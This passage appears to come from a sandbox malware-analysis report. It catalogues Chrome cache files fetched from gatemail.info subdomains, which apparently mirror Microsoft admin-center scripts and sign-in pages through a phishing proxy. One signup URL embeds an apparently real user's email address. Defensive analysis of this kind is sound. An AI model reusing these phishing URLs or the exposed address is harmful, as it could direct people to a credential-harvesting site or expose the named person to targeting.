Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.321476721102434

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1zGTRX1L+G85g6n:MMHdVBMHgWdzR05zsRX1J6

MD5: 07FC9ABEDFEF4D002380CAE27AF6A206

SHA1: 8142BF64AB930D3B9474ECE4AE833626CC02B1FD

SHA-256: AD03E1155EB43D7FAD3B31676859777BEF159F303963E9238789B29BC3F7AD0D

SHA-512: DE0F8E57252BF0226A2984E10A738CB31FC3B853B6E12CF1BB94F2B5B812981650C924BA324E0C64E4D45ED626271E5810F6CFD066FC15233A6137D6D058592A

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_mos_background_left.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:543df4ab-c01e-0031-
80df-592bd2000000.Time:2023-03-18T21:22:49.7565626Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (65536), with no line terminators

Category: downloaded

Size (bytes): 79960

Entropy (8bit): 5.37640307595532

Encrypted: false

SSDEEP: 1536:dr1MdLE9ANiGdCX8LUYxoDoYOXKHgBryrvVLGyFAro:bWpjUYxok4A0

MD5: 02691AAD0DC276F851D371BF61F44471

SHA1: AE87C7445C5ABFFC5DFF000A90219920262DB18B

SHA-256: 4A170FA5A524D4BCCF6DC33058D6A5D5EE16922B14B49BDE86491591ABE96CB5

SHA-512: 2A4D618AC4EAB0282226465BE06AEF3484F9CDEFA6A1476D317AE110892561E2DBA3E58BA6B8E0F40CF6E68CC51E82985804B61D074E945EB5D99C35E9BA92
8A

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/headbundle.js

Preview: var Namespace={Register:function(n){for(var r=!1,t="",u=n.split("."),i=0;i<u.length;i++)t!=""&&(t+="."),t+=u[i],r=this.Exists(t),r||this.Create(t)},Create:function(n){for(var i=n.s
plit('.'),r=window,t=0;t<i.length;t++)("undefined"==typeof r[i[t]]||null===r[i[t]])&&(r[i[t]]={}),r=r[i[t]]},Exists:function(n){for(var i=n.split('.'),r=window,t=0;t<i.length;t++)if("undefin
ed"!=typeof r[i[t]]&&null!==r[i[t]])r=r[i[t]];else return!1;return!0}},Shared;Namespace.Register("Microsoft.Online.BOX.JS.Shared"),Microsoft.Online.BOX.JS.Shared=new 
function(){function n(){O365.Log.WriteLog(509159,O365.LogLevel.Info,"account switch intiated"),clearcache()}function t(n){var r=window.location.hostname.toUpperCase
(),u=n.origin.toUpperCase(),t,i;if(u.indexOf(r)!=-1&&n.data){t=null;try{t=JSON.parse(n.data)}catch(f){return}if(t&&t.eventId){if(t.eventId==="abtSignOutEventForHostUserGe
nerated")try{i="/estslogout",window.open(i,'_self')}catch(f){O365.Instrument.ClientInstrument.getInstance().logMessage(504151,"Fai

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (11639), with no line terminators

Category: downloaded

Size (bytes): 11639

Entropy (8bit): 5.192812704605868

Encrypted: false

SSDEEP: 192:ZHqaIeeago8L9nN0hUNxiHjib9NUhXkop1R1NWS9rCsnZBSVAx8c3ODqbiQ4:4aIee5o8LdN0hUNQW5NiXkYWyrtyAp30

MD5: 68C7188A72C68095DCF664C384BE4A24

SHA1: 44759AF7DA7C068E57D2C68C914CFBB488EF44C6

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Chrome Cache Entry: 218
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SHA-256: A7321F5898D11C794E86F016F4BE7D8355872A94081ADC22D551D5298D1A2900

SHA-512: CEF7D483D540E7A5B4404A381D25F39FA66DAE81AA58FCE1F42DFB3E03376E31B680BB623EB81ADAE7061A25967F9D196A47E97BDA94AFCCBDEEC422B0BE0
7F7

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/webcontrols/js/peoplepicker.js

Preview: var PeoplePicker=new function(){var n=this,ft=null,w=null,p=null,y='Too many results, use search.',nt='Total: {0}',k=250,u,c;this.Initialize=function(t,u){var s=$("#"+t);
MissingImgUrl=u.MissingImgUrl,w=u.RemoveUserImgUrl,p=u.DeleteUserImgUrl,s.data("GetDataCommand",u.GetDataCommand),s.data("GetAddDataCommand"
,u.GetAddDataCommand),s.data("AddCommand",u.AddCommand),s.data("DeleteCommand",u.DeleteCommand),s.data("DeleteTooltip",u.DeleteTooltip),s.data("Remove
Tooltip",u.RemoveTooltip),s.data("RemoveCommand",u.RemoveCommand),s.data("EmptyListText",u.EmptyListText),s.data("EmptySearchText",u.EmptySearchText),
s.data("OnClientAfterGetData",u.OnClientAfterGetData),s.data("OnClientGetDataError",u.OnClientGetDataError),s.data("OnClientAddButtonClick",u.OnClientAddButtonC
lick),s.data("OnClientSelectionChanged",u.OnClientSelectionChanged),s.data("OnClientBeforeDelete",u.OnClientBeforeDelete),s.data("OnClientAfterDelete",u.OnClien
tAfterDelete),s.data("AllowMultiSelect",u.AllowMultiSelect),s.data("Sh

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (65536), with no line terminators

Category: downloaded

Size (bytes): 539708

Entropy (8bit): 5.382411708949075

Encrypted: false

SSDEEP: 3072:F39ThwXAhlzz+y92sqKXisaFB3VcLSEaEldyp0LFDbQi2val651x9xdnyLRJ0+Jx:F3dhwq22EhxdywgSGkEUZa4uUy

MD5: CD2B20C3B0E448D533CF5A64D8AA1475

SHA1: ED78698F91F9D08038285E499AF2218DB6451417

SHA-256: BCBB1EE420919817795916ECF96F643E01ED8E7765BA4D9123F2AD0B4567193B

SHA-512: 363C1C0676458DD3E173EF0835A108B92DC6B6432AE23FC547BBB1DC5AA008DEB0DF8B517C8D65813D4993DABC5ACBB01D67BCB3B2E95E626DB5A845088F8
442

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/adminbootstrap.js

Preview: var AdminApp,Admin;(function(n){'use strict';;n.app=AdminApp=angular.module("AdminSPA",["ngRoute","ngAnimate","ngCookies","ui.bootstrap","ui.router","ngSanitize
","ngResource","angular-tour","kendo.directives","ngMessages","mgo-angular-wizard","ngAria","ngCsvImport","infinite-scroll","angular-momentjs","LivePerson"]).ru
n(["$rootScope","$state","$stateParams","$window","$http","$templateCache","$timeout","ConciergeIntegrationService","HelperService",function(t,i,r,u,f,e,o,s,h){function s
t(){o(function(){var n=angular.element(document.querySelector('#DelayLoadAdminFooter'));n.length>0&&$('#AdminAppFooter').load("/AdminPortal/Home/adminfooter",fu
nction(){o(function(){var u=angular.element(document.querySelector('#AdminFeedbackDiv')),n,t,i,r;u.length>0&&$(u).trigger("AdminFeedbackDiv",!0),n=angular.eleme
nt(document.querySelector('#WizardCatalogDiv')),n.length>0&&$(n).trigger("WizardCatalogDiv",!0),t=angular.element(document.querySelector('#ModernModal
FeedbackContainerV2')),t.length>0&&$(t).

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.280778752748294

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV12uUjV6QUJcCj+T5g6n:MMHdVBMHgWdzR052JpTMXZ6

MD5: 88163203CAF7EF3BDA67CC10500D8306

SHA1: C1C45D3AA66C03F880B2DCCC0624D383104F49D4

SHA-256: D90C9D9BA7DB332062A14A57C96B9CE99093397B8B40E1C6953861DFC49700E8

SHA-512: 8827E8B9112AE63B1C4BA5AC5DCDB7DD1F1DD69373053A95D37533F3D0DECBB5A583A7E46AEEC469DB488678962D0A9A18F3507CF76739183D8F7DC044294B
F1

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/header_wizard_hl_mos.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:09a38e0f-a01e-0055-
75df-59da4a000000.Time:2023-03-18T21:22:49.6397488Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (65399)

Category: downloaded

Size (bytes): 93146

Entropy (8bit): 5.265820615168494

Encrypted: false

SSDEEP: 1536:ElQF9RJBsvCipiGzxaUCZaq0s6DPINAx9DmLhgfYsTDTkVRWd1M4tgUVA06fu:ECRJDNizWRF4XYfu

MD5: 2C84DDD7EB49D7F61BE23D6FC145887A

SHA1: 38A20CC871F34D86652F7C0C98C9BA6F8DB780A0

Chrome Cache Entry: 219

Chrome Cache Entry: 220

Chrome Cache Entry: 221
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SHA-256: 2589FE90B2849F35F294CB20BF433135E44CE0CA8CE98D8E4F0CA7B62FA50191

SHA-512: 8C60683163719094F96A7F363C18D823E83D898C52F7DBA12B34FF5390A0D98057EF31E7392A174F15F435BC1B1C8CF56E0CF322B521C665AAC6BE206E17D13E

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/jquery/jquery-1_10_2_min.js

Preview: /*! jQuery v1.10.2 with a fix integrated from v1.12.2, 3.4.0, and 3.5.0 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license */.(function(n,t){function ci(n){var t=n.lengt
h,r=i.type(n);return i.isWindow(n)?!1:1===n.nodeType&&t?!0:"array"===r||"function"!==r&&(0===t||"number"==typeof t&&t>0&&t-1 in n)}function ue(n){var t=pi[n]={};return 
i.each(n.match(s)||[],function(n,i){t[i]=!0}),t}function ou(n,r,u,f){if(i.acceptData(n)){var h,o,c=i.expando,l=n.nodeType,s=l?i.cache:n,e=l?n[c]:n[c]&&c;if(e&&s[e]&&(f||s[e
].data)||u!==t||"string"!=typeof r)return e||(e=l?n[c]=b.pop()||i.guid++:c),s[e]||(s[e]=l?{}:{toJSON:i.noop}),("object"==typeof r||"function"==typeof r)&&(f?s[e]=i.extend(s[e],r):s
[e].data=i.extend(s[e].data,r)),o=s[e],f||(o.data||(o.data={}),o=o.data),u!==t&&(o[i.camelCase(r)]=u),"string"==typeof r?(h=o[r],null==h&&(h=o[i.camelCase(r)])):h=o,h}}fu
nction su(n,t,r){if(i.acceptData(n)){var e,o,s=n.nodeType,u=s?i.cache:n,f=s?n[i.expando]:i.expando;if(u[f]){if(t&&(e=r?u[f]:u[f].d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.314167107255237

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1AnWNn+ZkAg6n:MMHdVBMHgWdzR05lGkF6

MD5: 44F1131CCB6AF19C084A7D91AE134AF4

SHA1: 03711C6554ACE2A0B01A4433BF5DFB14410AD621

SHA-256: 3C86DADEEDE506726C2BE03FBE8B2E9377A71C170316CE547DE9FEDBDFB8DD56

SHA-512: EF11549E71C9A288806A964A011FD94A2E1F3F11560C9B04AF40580F085A8D2E1BD5B2ABA2F29119702EAAF76ABE53FC364E603C8D64386010C6014A6EF56C4E

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/header_bg_signup_office.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:9292978d-e01e-0036-
09df-5947b1000000.Time:2023-03-18T21:22:45.7786441Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (3041), with no line terminators

Category: downloaded

Size (bytes): 3041

Entropy (8bit): 5.443939715136298

Encrypted: false

SSDEEP: 48:8/JawL2CDpLGLg0ELdcImwDb3+qoekDYk/GCqpufqv0wgViv9Y+eMNzeRqKb+mpZ:cL5ug3dVf+qpkMkgpufqvFgVi++ecUqK

MD5: 2A29FC3105377608989FDCF710A47554

SHA1: F6AC20B91A57841A4F84A7DAFA490502FB20D6A4

SHA-256: 8DC4107571BA20983D62DF95A23D5CABC961418C55B75A8CEB1437A83CC7AB3F

SHA-512: 85FFFBC2A8681989E048E9A3E754ADE8D60C9FA603F88747C73C0EC02848EEF34A703EA47F0DCF40B59405B02FBA2C1B3F1700DE8D7710B9DBC6F7291B1EAB
5A

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/passwordstrengthmeter.js

Preview: var PasswordStrengthMeter=function(){function n(n,t,i){(this.PasswordMeterDiv=document.getElementById(n+"_passwordStrengthMeter"),this.PasswordStrengt
hMeterId=n,this.PasswordTextBox=document.getElementById(t),this.PasswordTextBox!=null)&&(this.PropertySheetId=i,this.PasswordTextBox.PasswordStrengthM
anager=this,this.PasswordTextBox.onchange=this.TextChangedHandler,this.PasswordTextBox.onkeyup=this.TextChangedHandler,this.PasswordTextBox.PasswordSt
rengthManager.EvaluatePassword(!1),this.PasswordStrengthMeterDisplayed=!1)}return n.prototype.EvaluatePassword=function(t){var i='weak',r;this.SetMeterLevel(thi
s.PasswordStrengthMeterId,n.METERLEVEL_URGENT),r=this.PasswordTextBox.value,n.ClientSideStrongPassword(r)?(i='strong',this.SetMeterLevel(this.Password
StrengthMeterId,n.METERLEVEL_HEALTHY)):n.ClientSideMediumPassword(r)?(i='medium',this.SetMeterLevel(this.PasswordStrengthMeterId,n.METERLEVE
L_CAUTION)):n.ClientSideWeakPassword(r)&&(i='weak'),this.PasswordMeterDiv.innerText=i,this.PropertyS

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.2890367898024

Encrypted: false

SSDEEP: 3:JLWMNHU8LdgCAqZj+kKlGjoWWUAVMABcyFKBWRTWA1exWNDv3DIO3V/VViWnRUfK:JiMVBdgqZjZWtMfgRTH1e6LPtK+uQg6n

MD5: 0F558BE7C1906859BD79A9B81190DDEE

SHA1: 7F119382B3D4851EE07090C3E18CC99E908C8854

SHA-256: 9A997FDD1755DEA03114D5623A7812FCE6F6FF8C8BF8F0FE42F8487AE03AEA9D

Chrome Cache Entry: 222

Chrome Cache Entry: 223

Chrome Cache Entry: 224
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SHA-512: EA4891A1B9ABD66DEC8030A8701156B3FD5349E38541BA6CA36F44FD7AFF40CF42B1BF93F99E377F5043CB5813A9C93DE4CA6BA8210B2DCC5227E60E4CF4A3
73

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/searchbox.js

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:89423f9e-901e-0013-2ddf-5
9eecd000000.Time:2023-03-18T21:22:37.5803974Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (4787), with no line terminators

Category: downloaded

Size (bytes): 4787

Entropy (8bit): 5.3136178165749515

Encrypted: false

SSDEEP: 96:5iBUcCRgqJY+ebZFBfquEiwQYGQwnCSo3DijVxlJz/odkFVMhMY7PHYh+O8C:5i/PquEiwQ/QJzDeVnN/odkbMhMY7PHI

MD5: D4A9893F26D6C6BA6370D1AA877D9530

SHA1: 616E7478F40C2EE6DDE03C7D6AFA35265211EDBD

SHA-256: 329E33E61952A1445BF79F6D073FF443339AA13E6338C568D20A3015C0E7BF9E

SHA-512: 9870638699DD51E0EEF34BCE532E24B585FE02E3BB52AE62F0389E97904EE04A12646D24041F277718938A1EA3AF257BDB6D136514B97AB0790FF1E9C1F40820

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/netperf.js

Preview: function NetPerf(){function c(r){var u,l=[],p=['"i":30000,"v":3'],o,a,y,s,h,v,c;if(l.push(p),u=[],r=='u')e?(u.push('0'),u.push('1')):(u.push('1'),u.push('0'));else if(r=='l')u.push
('0'),u.push('0'),e=!0;else return;for(o=null,y=f.length,s=0;s<y;s++)h=window.performance.timing[f[s]],o==null?o=h:(a=h>0?h-o:-1,u.push(a));if(u.push('"'+n.encodeJsonStri
ngLiteral(document.URL)+'"'),u.push(n.edgeInfo.isEdge?"1":"0"),u.push('"'+n.encodeJsonStringLiteral(n.edgeInfo.ds)+'"'),u.push('"'+n.encodeJsonStringLiteral(n.e
dgeInfo.f.toString())+'"'),u.push('"'+n.encodeJsonStringLiteral(n.edgeInfo.cid)+'"'),v=[],n.edgeInfo.prop)for(c in n.edgeInfo.prop)n.edgeInfo.prop.hasOwnProperty(c)&&v.pu
sh(c+'='+n.edgeInfo.prop[c]);u.push('"'+n.encodeJsonStringLiteral(v.join(t))+'"'),u.push('"'+n.encodeJsonStringLiteral(n.edgeInfo.wl)+'"'),u.push('"'+n.encodeJsonStringLi
teral(n.edgeInfo.tid)+'"'),u.push('"'+n.encodeJsonStringLiteral(n.edgeInfo.ipv)+'"'),l.push('"f":['+u.join(t)+']'),i.push('{'+l.join(t)+'}')}function 

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors

Category: downloaded

Size (bytes): 17174

Entropy (8bit): 2.9129715116732746

Encrypted: false

SSDEEP: 24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO

MD5: 12E3DAC858061D088023B2BD48E2FA96

SHA1: E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5

SHA-256: 90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21

SHA-512: C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD0
1

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico

Preview: ..............h(..f...HH...........(..00......h....6..  ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...3
33333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""
""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...33333333333
3333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""
""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...33333333333
3333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: GIF image data, version 89a, 1 x 1

Category: downloaded

Size (bytes): 813

Entropy (8bit): 0.3777162536454919

Encrypted: false

SSDEEP: 3:CUDu//tylaJqAlTlmhy:EX7JqAcy

MD5: DBC2B30ECD3CE2A7A8965E5B0A569DFF

SHA1: C32D2FFDBF66B5582C8C184E0C0B436048292807

SHA-256: 9397D5506D9BB44184A4BD44001382209441BD80D8C5FB4F3DFFDB1F966B7995

SHA-512: 496E07788F07A4F31E690E67367086FBAA934CFAEF0256F669B395ADF0EBF8C677D3775BEAB50F5100D178B67F51F5F2AAA7CE8B89EC5B93CAE6F3B2C21BFD
6F

Chrome Cache Entry: 225

Chrome Cache Entry: 226

Chrome Cache Entry: 227
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Malicious: false

URL: "https://b11b496a-fa3adaac.gatemail.info/pp.l?CID=c3c6313a19304148993fd2ca1b1be667&pageId=Prefetch.aspx&d={B:{S:%27L%27,LT:39769,UT:-1,MT:-1},A:{ET:-
1,OT:4,DT:116,CT:476,RT:5452,ST:5466,MT:-1,LT:46014},C:{LT:1679203375275}}"

Preview: GIF89a..............................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
...........................................................................................................................................................................................................................................................!.......,..........
............;

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.327255882488861

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1AApaOk+Wqz5g6n:MMHdVBZWyUTqKavu+6

MD5: 061928DD5DFB607AA5807611A5537263

SHA1: A12836A8790DE3F12AB52EE5E71ED0B1D3945F34

SHA-256: DD78B2604BAA35D5883055BFCE11198A43C260C12550BF4372874EE3E43633BE

SHA-512: 3A836EFFF1B2359596D792518F296CAA53289FBB85A169FD0BBBDF0A5DEB7D03BFF4A11B0BEF5B1321534278A5B94E034430C25EDF3FCC3B24FEB44149BC0E
EF

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/commonhealthdashboard.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:e7f88b49-d01e-0060-34df-5
9b65e000000.Time:2023-03-18T21:22:15.1723407Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.319865039872999

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH13UnVQA/c+NR1s5g6n:MMHdVBZWyUTqNNbv6

MD5: F8E4CB9F023390334540E539C2D772D1

SHA1: B001AAFAAE34C948A3DDE1AD7087FD4A6B685198

SHA-256: 65A7A6D82A49DBF4E22D93317A774B8F26811782003E88B94A3DB92C6A27EF54

SHA-512: CD286FA89449254D5F3500769FDB522ADF0D01475FF5170CFAD0646EF8030FE84C1FF101E5D6FD93645A997517DBA04E439C4944890516DC1C086DBCD26BC8BC

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/webtrends.js

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:2f22cb5b-701e-0056-21df-5
93b2e000000.Time:2023-03-18T21:22:41.3294963Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors

Category: dropped

Size (bytes): 17174

Entropy (8bit): 2.9129715116732746

Encrypted: false

SSDEEP: 24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO

MD5: 12E3DAC858061D088023B2BD48E2FA96

SHA1: E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5

SHA-256: 90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21

SHA-512: C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD0
1

Malicious: false

Preview: ..............h(..f...HH...........(..00......h....6..  ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...3
33333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""
""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...33333333333
3333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""
""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...33333333333
3333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 228

Chrome Cache Entry: 229

Chrome Cache Entry: 230

Copyright Joe Security LLC 2023 Page 30 of 46



Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (65429)

Category: downloaded

Size (bytes): 159413

Entropy (8bit): 5.227156598307098

Encrypted: false

SSDEEP: 1536:hgFAhcPyCrbqhRtFV1l0UBVHyfN+e/KOoF07JWwhmbkxXnFRGvTWlGWLwD3CRY8T:h0SCUbyfMe/KOwNDgxVRGvTgGWCcT

MD5: 14197A774A2407770BE3A36B165BC788

SHA1: 6D4EE9B2AECC3E2B145A68962EA899CEC87EC40F

SHA-256: F34699C68C90BB44A3456F0AFF4CB9E89A0D0371B14D7972FEA6F9322CA1BBCE

SHA-512: E0473E0209336F92E864B9DB8401E50C32FC02EFA1F918D8D6348E8D7E4A4CB149E6865ED0A2A404C4B309CAD88D270D1A225B9EA12FC7788C1C06DD82269A8
4

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/angularlib.js

Preview: /*!. AngularJS v1.3.15. (c) 2010-2014 Google, Inc. http://fa114e4d-fa3adaac.gatemail.info. License: MIT.*/.(function(n,t,i){'use strict';;function v(n){return function(){for(var 
i=arguments[0],u,t,r="["+(n?n+":":"")+i+"] http://5630f941-fa3adaac.gatemail.info/1.3.15/"+(n?n+"/":"")+i,i=1;i<arguments.length;i++)r=r+(1==i?"?":"&")+"p"+(i-1)+"=",u=enco
deURIComponent,t=arguments[i],t="function"==typeof t?t.toString().replace(/ \{[\s\S]*$/,""):"undefined"==typeof t?"undefined":"string"!=typeof t?JSON.stringify(t):t,r+=u(
t);return Error(r)}}function wr(n){if(null==n||vr(n))return!1;var t=n.length;return n.nodeType===at&&t?!0:l(n)||s(n)||0===t||"number"==typeof t&&0<t&&t-1 in n}function r(n,t,i)
{var u,f,e;if(n)if(o(n))for(u in n)"prototype"==u||"length"==u||"name"==u||n.hasOwnProperty&&!n.hasOwnProperty(u)||t.call(i,n[u],u,n);else if(s(n)||wr(n))for(e="object"!=type
of n,u=0,f=n.length;u<f;u++)(e||u in n)&&t.call(i,n[u],u,n);else if(n.forEach&&n.forEach!==r)n.forEach(t,i,n);else for(u in n)n.ha

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.255579324898143

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV1DVUhUDGv/K+LVg6n:MMHdVBMHgWdzR05ZGvU6

MD5: 057B3E380572BDB398009629AE085655

SHA1: 71881BC8C3FAFD1C4CFF83465D36198495A24019

SHA-256: 143A8A32053AF91D7E3FF10E5E6D55151F29C19D02493C3C4775EA8A6E31A708

SHA-512: 287FC7FD6C5A70C50C217C947742D091F8851482A028A6AD6F20434CF67CFEFA118FA49279D7C5939848EC4F6649A0F1B6BBE302A172169E133D31E10E35DD94

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_mos_background_right.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:5f32dd2e-701e-001b-
4cdf-59f4c2000000.Time:2023-03-18T21:22:48.0212542Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: HTML document, ASCII text, with very long lines (871), with no line terminators

Category: downloaded

Size (bytes): 871

Entropy (8bit): 5.446595534259916

Encrypted: false

SSDEEP: 24:hlLTtmD0bHG8AGdHETdYqfPfDcQ1VWf6ja:zxmDiGdzlfP7xTcr

MD5: 9F5E3A30C24A5A6190A11C4675C9F19E

SHA1: 008D2FE6EA1E8DE29E417BDC356B5149638F85E5

SHA-256: 699F5BE0D278DBB0161CB0B60ECD3F410509080D8D35309F7811603C59A2BABA

SHA-512: 87D05E673CC322DBDB675800175645FDE06346BD66661274B55B7196BC66E9A2E19EEBC6E06843BD5196B9D3BE485EF00869133C02A02F2038813539454C18AC

Malicious: false

URL: https://signup.gatemail.info/signup?sru=https://live.gatemail.info/oauth20_authorize.srf%3flc%3d1033%26client_id%3d51483342-085c-4d86-bf88-
cf50c7252078%26mkt%3dEN-
US%26opid%3d2BAF3CD3A259931D%26opidt%3d1679174546%26uaid%3d7a01535b3fba469baf53df6d5caaa620%26contextid%3dF2C1C5F57CCCC2B1%26opignore
%3d1&mkt=EN-US&uiflavor=web&username=rbown@industrialinvestments.com&lw=1&fl=easi2&client_id=51483342-085c-4d86-bf88-
cf50c7252078&uaid=7a01535b3fba469baf53df6d5caaa620&suc=https://5161f76c-fa3adaac.gatemail.info

Preview: <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html xmlns='http://www.w3.or
g/1999/xhtml'><head><meta content='text/html; charset=utf-8' http-equiv='content-type'/><style type='text/css'>body { font-family:Arial; margin-left:40px; }img  { border:0 
none; }#content { margin-left: auto; margin-right: auto }#message h2 { font-size: 20px; font-weight: normal; color: #000000; margin: 34px 0px 0px 0px }#message p  { font-
size: 13px; color: #000000; margin: 7px 0px 0px 0px }#errorref { font-size: 11px; color: #737373; margin-top: 41px }</style><title>Microsoft</title></head><body><div id
='content'><div id='message'><h2>The request is blocked.</h2></div><div id='errorref'><span>Ref A: B4F625F8D1A9428CBC949E5CBFCCF922 Ref B: L
AXEDGE1915 Ref C: 2023-03-18T21:22:29Z</span></div></div></body></html>

Chrome Cache Entry: 231

Chrome Cache Entry: 232

Chrome Cache Entry: 233
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

